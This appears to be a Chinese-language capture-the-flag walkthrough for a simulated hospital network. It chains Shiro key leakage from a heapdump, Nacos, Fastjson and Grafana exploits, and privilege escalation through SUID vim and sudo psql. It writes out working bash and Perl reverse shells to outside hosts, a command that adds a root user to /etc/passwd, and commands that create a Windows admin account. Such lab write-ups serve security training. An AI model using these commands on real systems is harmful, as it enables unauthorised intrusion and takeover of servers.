Hospital 在这个场景中,你将扮演一名渗透测试工程师,被派遣去测试某家医院的网络安全性。你的目标是成功获取所有服务器的权限,以评估公司的网络安全状况。该靶场共有 4 个flag,分布于不同的靶机。
tag Shiro、Fastjson、Decrypt、Nacos、内网渗透
信息收集 先用fscan扫一下机器./fscan.exe -h 39.99.155.247
1 2 3 4 5 6 7 8 start infoscan 39.99.155.247:8080 open 39.99.155.247:22 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://39.99.155.247:8080 code:302 len:0 title:None 跳转url: http://39.99.155.247:8080/login;jsessionid=C7B44ACB6C849F46C9D5FEBA628E5C41 [*] WebTitle http://39.99.155.247:8080/login;jsessionid=C7B44ACB6C849F46C9D5FEBA628E5C41 code:200 len:2005 title:医疗管理后台 [+] PocScan http://39.99.155.247:8080 poc-yaml-spring-actuator-heapdump-file
机器5 发现有heapdump泄露JDumpSpider java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
1 2 3 4 5 6 =========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = CBC, key = GAYysgMQhG7/CzIJlVpR2g==, algName = AES ===========================================
拿到shiro key:GAYysgMQhG7/CzIJlVpR2g== 利用shiroattack2 进行利用 注入内存马 当然也可以弹shellbash -c 'bash -i >& /dev/tcp/175.27.250.242/4444 0>&1' 然后蚁剑连接
注意选择连接形式为jsp
成功连接,传stowaway./linux_x64_agent -l 44444 -s 123./linux_x64_admin -c 39.99.155.247:44444 -s 123 然后发现为低权限,进行提权find / -user root -perm -4000 -print 2>/dev/null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 /usr/bin/vim.basic /usr/bin/su /usr/bin/newgrp /usr/bin/staprun /usr/bin/passwd /usr/bin/gpasswd /usr/bin/umount /usr/bin/chfn /usr/bin/stapbpf /usr/bin/sudo /usr/bin/chsh /usr/bin/fusermount /usr/bin/mount /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device
发现vim.basic 这里利用vim修改/etc/passwd进行创建新root权限用户
passwd文件用户格式为:用户名:密码:uid:gid:注释:home目录:用户的shell 这边可以看看root用户的格式 root:x:0:0:root:/root:/bin/bash (密码这部分之所以是x,是因为真正的密码存在/etc/shadow文件里)
openssl passwd -1 –salt asd 123 得到$1$asd$sTMDZlRI6L.jJEw2I.3x8.xianxin:$1$asd$sTMDZlRI6L.jJEw2I.3x8.:0:0:root:/xianxin:/bin/bash 这里推荐用交互式shell进行vim,不然会各种内容覆盖和按键重复导致极难操作,不过也不是不能操作vim.basic /etc/passwd +31 这里直接光标移动到最后
1 2 3 O 新建一行 粘贴 将我们的新账号粘贴进去 :wq! 这里按esc虽然没有反应但是是会变成普通模式的,然后虽然光标不会变但是直接强制保存退出即可
交互式shell最简单的方法就是输入python -c 'import pty; pty.spawn("/bin/bash")' 也可以试试pwncat 成功拿到root权限 拿下flag01
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 whoami root ls /root flag cd /root/flag ls flag01.txt cat flag01.txt O)) O)) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O)))) O) O)) O)O) O) O)) O)) O)))))) O)) O)) O)) O)) O) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O))) O) O))O)) O)) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O)) O))O)) O)) O)) O)) O)))O))) O)) flag01: flag{3be17952-6b8b-4704-ad4f-2114f0a41655}
配置msfmsfconsole
1 2 3 4 5 use exploit/multi/handler set payload linux/x64/meterpreter/bind_tcp set rhost 39.99.155.247 set lport 4567 run
拿下第一个机器ifconfig 上传fscan扫一下./fscan -h 172.30.12.0/24 -nobr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 172.30.12.236:8080 open 172.30.12.5:8080 open 172.30.12.6:445 open 172.30.12.6:139 open 172.30.12.236:22 open 172.30.12.6:135 open 172.30.12.236:8009 open 172.30.12.6:8848 open 172.30.12.5:22 open [*] alive ports len is: 9 start vulscan [*] NetInfo [*]172.30.12.6 [->]Server02 [->]172.30.12.6 [*] NetBios 172.30.12.6 WORKGROUP\SERVER02 [*] WebTitle http://172.30.12.5:8080 code:302 len:0 title:None 跳转url: http://172.30.12.5:8080/login;jsessionid=49C9C2ABBD8D5DC84C8C91BC9EC31C69 [*] WebTitle http://172.30.12.6:8848 code:404 len:431 title:HTTP Status 404 – Not Found [*] WebTitle http://172.30.12.5:8080/login;jsessionid=49C9C2ABBD8D5DC84C8C91BC9EC31C69 code:200 len:2005 title:医疗管理后台 [*] WebTitle http://172.30.12.236:8080 code:200 len:3964 title:医院后台管理平台 [+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos [+] PocScan http://172.30.12.6:8848 poc-yaml-alibaba-nacos-v1-auth-bypass [+] PocScan http://172.30.12.5:8080 poc-yaml-spring-actuator-heapdump-file 已完成 9/9 [*] 扫描结束,耗时: 8.360934205s
机器6 发现机器6上开着nacos 然后在windows上也挂个代理./linux_x64_agent -l 44445 -s 123./windows_x64_admin.exe -c 39.99.155.247:44445 -s 123 访问网页查看版本 发现为1.4.1,搜索相关漏洞,下个工具NacosExploitGUI_v4.0 然后这边改一下内置的执行命令为创建用户Runtime.getRuntime().exec("net user xianxin pass@123 /add");Runtime.getRuntime().exec("net localgroup administrators xianxin /add"); 然后编译javac src/artsploit/AwesomeScriptEngineFactory.javajar -cvf yaml-payload.jar -C src/ .
这里打包的时候javac版本最好是1.8,17编译的有问题
然后把paylaod传上去upload /home/kali/yaml-payload/yaml-payload.jar /tmp/xx/yaml-payload.jar 在机器5上用python开个内置服务器 为了能看见回显起一个交互式shellpython3 -c 'import pty; pty.spawn("/bin/bash")'python3 -m http.server 80
这里端口最好不为80,大概率被占用 nacos:nacos登录看到Data id为db-config 然后利用工具进行攻击即可 成功收到请求即为攻击成功 然后远程过去proxychains rdesktop 172.30.12.6 -u xianxin -p 'pass@123' windows远程桌面也可以 拿到flag02flag02: flag{f72fd324-e75b-492f-9bcd-262fe03d124a}
机器236 这里扫出来有8080端口网页 尝试传入一个单{发现报错回显fastjson 用BP插件fastjson-exp 进行攻击 拿到flag03flag03: flag{6c2bb357-9569-494d-85e8-33b4647b22ec} 这里可以利用之前机器5上的服务器,传入木马wget http://172.30.12.5:8086/linux_x64_agent 进行连接./linux_x64_agent -c 172.30.12.5:44447 -s 123 --reconnect 8 在机器5进行listen即可
机器12 然后传个fscanupload /home/kali/Desktop/fscan /xianxin/fscanifconfig 发现为双网卡 扫一下另外一个网段./fscan -h 172.30.54.0/24 -nobr
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 start infoscan (icmp) Target 172.30.54.179 is alive (icmp) Target 172.30.54.12 is alive [*] Icmp alive hosts len is: 2 172.30.54.179:22 open 172.30.54.179:8009 open 172.30.54.12:22 open 172.30.54.12:3000 open 172.30.54.179:8080 open 172.30.54.12:5432 open [*] alive ports len is: 6 start vulscan [*] WebTitle http://172.30.54.179:8080 code:200 len:3964 title:医院后台管理平台 [*] WebTitle http://172.30.54.12:3000 code:302 len:29 title:None 跳转url: http://172.30.54.12:3000/login [*] WebTitle http://172.30.54.12:3000/login code:200 len:27909 title:Grafana 已完成 6/6 [*] 扫描结束,耗时: 4.610850578s
发现机器12,而且为Grafana 利用stowaway挂个多级代理proxychains ./linux_amd64_grafanaExp exp -u http://172.30.54.12:3000
这里未知原因没打通,可以传文件上去去机器236上打upload /home/kali/linux_amd64_grafanaExp/linux_amd64_grafanaExp /xianxin/linux_amd64_grafanaExp
得到密码为Postgres@123 进行连接proxychains4 -q psql -h 172.30.54.12 -U postgres -W 然后postgres命令执行弹shell,这里只能用perl弹shell,而且不出网,机器236上有nc,在机器236上监听select system('perl -e \'use Socket;$i="172.30.54.179";$p=4567;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\''); 成功接送 然后提权find / -user root -perm -4000 -print 2>/dev/null
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 /usr/bin/su /usr/bin/newgrp /usr/bin/staprun /usr/bin/passwd /usr/bin/gpasswd /usr/bin/umount /usr/bin/chfn /usr/bin/stapbpf /usr/bin/sudo /usr/bin/chsh /usr/bin/fusermount /usr/bin/mount /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/eject/dmcrypt-get-device
没好用的东西sudo -l
1 2 3 4 5 6 Matching Defaults entries for postgres on web04: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User postgres may run the following commands on web04: (ALL) NOPASSWD: /usr/local/postgresql/bin/psql
这里需要利用psql提权 先起个交互式shellpython3 -c 'import pty; pty.spawn("/bin/bash")' 然后执行命令进行sudo /usr/local/postgresql/bin/psql 这里需要的root密码可以利用postgres修改ALTER USER root WITH PASSWORD '123456'; 在帮助界面中找到命令执行功能,成功提权 然后成功拿到flag04
1 2 3 4 5 6 7 8 9 10 11 ,, ,, `7MMF' `7MMF' db mm `7MM MM MM MM MM MM MM ,pW"Wq. ,pP"Ybd `7MMpdMAo.`7MM mmMMmm ,6"Yb. MM MMmmmmmmMM 6W' `Wb 8I `" MM `Wb MM MM 8) MM MM MM MM 8M M8 `YMMMa. MM M8 MM MM ,pm9MM MM MM MM YA. ,A9 L. I8 MM ,AP MM MM 8M MM MM .JMML. .JMML.`Ybmd9' M9mmmP' MMbmmd' .JMML. `Mbmo`Moo9^Yo..JMML. MM .JMML. flag04: flag{dbf2b284-3b09-415d-9995-e33cf30ef088}